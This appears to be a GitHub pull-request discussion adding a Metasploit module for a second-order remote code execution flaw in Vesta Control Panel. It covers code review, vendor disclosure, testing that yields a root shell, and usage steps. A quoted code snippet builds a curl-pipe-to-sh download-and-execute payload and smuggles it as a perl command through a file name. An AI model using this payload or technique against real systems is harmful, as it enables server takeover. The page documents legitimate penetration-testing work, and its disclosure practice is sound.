Adding Vesta Control Panel Remote Code Execution 0day #13094
Conversation
| # actual python meterpreter first stager and execute it. | ||
| # | ||
| final_payload = "curl -sSL #{@second_stage_url} | sh".to_s.unpack("H*").first | ||
| p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'" |
There was a problem hiding this comment.
Command stagers should be able to operate even with these restrictions, were there any issues you noticed?
There was a problem hiding this comment.
I haven't noticed specific issue but I choose meterpreter payload delivery via web because of following reasons:
-
Meterpreter is lovely ❤️ I always go for it if it's possible.
-
Raw cmd stagers contains lots of special chars , such as < > & " etc etc , which are usually cause a syntax errors during exploitation of these type of vulnerabilities. So I have to must black-listed almost all of them, which means final payload will always be
perl{IFS}-e{IFS}template no matter what type of cmd stager is being used. -
Specially when you encode python meterpreter stager into the
perl{IFS}-e{IFS}template, there is no way to keep it shorter then file name length. So that means even if I support multiple payload platform, I have to use web delivery when python payload selected, which brings more and more if-else states in the module. I'm not even mentioning about supporting linux elf binary stagers, which brings even moreeee if-elses to module and bash codes on the server. At some point, I told my self "Meeeh, that's getting complicated :D why don't we just focus python meterpreter"
There was a problem hiding this comment.
Yeah, using a library is ideal, but if the vuln is specific enough on restrictions, it's probably best to do custom encoding instead of working around the library. Fewer regressions may be anticipated in this case.
That said, I would make my best effort to make the library work, and I would modify the library if possible, but that may be more regression-prone. I think what you've done is fine in this case, and the module will continue to work into the future.
|
Hey @mmetince, we're going to take a look at this in a bit, but question for you: Has the vuln been disclosed to the vendor here? And if it hasn't been, it needs to be. If you don't want to do that, @todb-r7 might be able to help out. |
|
Hey @ccondon-r7 , vulnerability has been disclosed to the vendor. Fix is merged to the master with following commit outroll/vesta@a571254 ! I also reported this vulnerability to the different projects that are use vesta-cp as a base project. |
|
Awesome, @mmetince, thanks for confirming. You're the best! Nice work :) |
|
Also @mmetince tried your exploit using the install instructions at http://vestacp.com/install/ on Ubuntu 18.03 LTS. Seems the exploit does work though, but had to run it twice and then got a root shell instantly; guess the listener was timing out or something cause first try wasn't reliable and I lost the shell. And then I did one more test after killing all jobs to double check: So looks like it is working but I'd like to see that error about the session timing out resolved somehow as it seems to be appearing all the time even when the exploit completes successfully. I'll also retest this again when all of the fixes have been applied to ensure that thing still work as expected. |
Signed-off-by: Mehmet İnce <mehmet@mehmetince.net>
Signed-off-by: Mehmet İnce <mehmet@mehmetince.net>
Signed-off-by: Mehmet İnce <mehmet@mehmetince.net>
|
@gwillcox-r7 Thank you very much for your comprehensive review ! 🤘🏻
The reason why you've got the instant root shell on your second run is all about nature of the vulnerability. One of the most important thing about this exploit module is that, we are injection our payload into the So the logic is like a follow. 1 - Put an empty file into the user home folder with a malicious file name. When you second run the module, it triggers another backup process. In that case, backup.conf file content already contains a payload from the first attempt ! On your first attempt to check status of the backup via backup list URL, you are triggering payload that is already placed on the first attempt :) |
|
Here is the output of final version. |
There was a problem hiding this comment.
@mmetince Looking a lot better, still some areas to fix up. Sorry for earlier deleted comment, I made a comment initially and then deleted it and moved it into this full review instead. Main issues were the lack of a check command at the moment and the fact that you didn't update the listings within the documentation. Rest of it is mostly edits for additional clarity in certain areas.
Let me know if you have any questions or concerns!
|
Also @mmetince I didn't mention this before but given that this module alters a config file, I would like to ensure that there is additional documentation that reflects this. Can we add the following in (ratings taken from https://github.com/rapid7/metasploit-framework/wiki/Definition-of-Module-Reliability,-Side-Effects,-and-Stability ) The reason for me adding IOC_IN_LOGS is cause if I open up
For a good reference of where these should be placed, see On a similar note I'd also be interested if there is any way your exploit could clean up after itself as right now it seems that once one runs the exploit, every subsequent backup attempt will try connect back to the attacker's machine. This might be great for persistence but if someone is in a pentest, this will be an absolute nightmare as most likely someone will have to go back through the log file and clean out their entires by hand, which could take a long time if the log file is particularly large. |
|
|
|
@gwillcox-r7 It has been a while since I haven't got that kind of detailed review of my PRs on msf project ! Thank you very much. Much appreciated 🤘🏻 Let me know if you wanna see additional improvements and changes. |
|
Confirmed that the Notes section has been updated correctly. This was not part of the review comments so I can't mark it as completed, but it looks good now 👍 |
|
Thank @gwillcox-r7. Let me know if I missed any of your comments that I need to fix. |
|
@mmetince New changes look good! |
gwillcox-r7
force-pushed
the
vestacp_exec
branch
2 times, most recently
from
74664e4
to
b7a1fbd
Compare
|
Hello @mmetince I made some minor changes to your exploit in c151b93 to help improve some grammar and spelling issues and updated some output lines and comments to make things a bit easier for the end user to understand. The following is the output from testing it after these changes were made, showing that the exploit is still working as expected: |
|
Awesome ! Thank you very much for all of your effort on this PR, @gwillcox-r7 🤘🏻 |
Release NotesA new module, |
|
No problem @mmetince :) |
|
Amazing collaboration. Great work, guys! |
|
I'm getting error exploiting. |
|
@margo-gru please create a new issue. Please also ensure you provide the relevant stack trace(s) from |
Hi all,
It's been a while since I haven't release one of these.
PS: #13093 must be landed first.
Verification
List the steps needed to make sure this thing works
msfconsoleuse exploit/linux/http/vestacp_execRHOSTLHOSTUSERNAMEPASSWORDSRVHOSTSRVPORTexploitSuccessfully authenticated to the FTP servicein console.Successfully uploaded the payload as a file namein console.Successfully authenticated to the HTTP Servicein console.Scheduled backup has ben started. Exploitation may take up to 5 minutes.in console.It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...in console.First stage is executed ! Sending 2nd stage of the payloadin console.Technical details https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/